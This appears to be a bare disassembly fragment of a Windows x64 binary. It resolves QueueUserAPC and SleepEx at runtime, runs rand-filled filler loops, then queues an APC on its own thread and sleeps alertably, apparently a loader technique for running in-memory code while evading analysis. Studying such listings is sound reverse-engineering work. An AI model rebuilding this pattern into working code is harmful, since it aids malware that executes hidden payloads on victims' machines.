mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x138]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x243
jle 0x140002983
mov dword [rbp + 0x31c], 0
jmp 0x140002a2f
mov eax, dword [rbp + 0x318]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x138]
add rax, rdx
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x130]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x318], 1
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x243
jle 0x1400029e8
mov rax, qword [rbp + 0x138]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x300]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov ecx, 0xb58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x314], 0
jmp 0x140002af6
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x118]
add rax, rdx
movsd xmm1, qword [0x140006188]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x314], 1
cmp dword [rbp + 0x314], 0x16a
jle 0x140002ab8
mov dword [rbp + 0x314], 0
jmp 0x140002b93
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x118]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x314]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x118]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400040d0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x314], 1
cmp dword [rbp + 0x314], 0x16a
jle 0x140002b11
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x140]
mov r9, qword [rbp + 0x128]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x120]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x380]
add rsp, 0x418
pop rbx
pop rbp
ret